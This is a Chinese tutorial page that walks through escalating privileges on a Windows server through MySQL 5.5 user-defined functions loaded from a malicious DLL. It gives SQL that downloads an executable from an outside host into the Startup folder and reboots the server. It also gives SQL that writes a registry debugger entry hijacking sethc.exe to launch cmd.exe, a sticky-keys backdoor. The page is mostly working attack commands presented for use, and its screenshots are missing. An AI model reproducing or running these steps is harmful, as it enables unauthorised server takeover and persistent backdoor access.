网站地图    收藏   

主页 > 后端 > 网站安全 >

MYSQL5.5当CMDshell无法执行的时候提权解决方法 - 网

来源:自学PHP网    时间:2015-04-17 12:00 作者: 阅读:

[导读] MYSQL5.5如果没有LIB目录权限允许的情况下,可以新建,在此帖子中可以正常导出DLL,但是执行CMDSHELL的时候,执行出错,我们在这里有两个方法可以考虑1、利用downloader函数,下载一个木马...

MYSQL5.5如果没有LIB目录权限允许的情况下,可以新建,在此帖子中可以正常导出DLL,

\

 

但是执行CMDSHELL的时候,执行出错,我们在这里有两个方法可以考虑

1、利用downloader函数,下载一个木马或者脚本到启动项

Create Function downloader returns string soname 'moonudf.dll';

select downloader("http://www.admin163.net/xx.exe","C:\Documents and Settings\All Users\「开始」菜单\程序\启动\a.exe");

然后利用SHUT函数重启服务器

create function shut returns string soname 'moonudf.dll'

select shut(‘reboot’);

但是在这个SHELL中,无法下载到启动项没有权限。

2、利用 regwrite和 regread函数劫持Sethc.exe

. Create Function regread returns string soname 'moonudf.dll';

 

Select regread("HKEY_LOCAL_MACHINE","SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe","debugger")

\

 

可以看到已经被劫持了,我们重新写入注册表,首先上传我们的CMD.EXE

\

 

利用regwrite写入 www.2cto.com

①Create Function regwrite returns string soname 'moonudf.dll';

②select regwrite("HKEY_LOCAL_MACHINE","SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe","debugger","REG_SZ","C:\tmp\cmd.exe");

\

登陆服务器

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论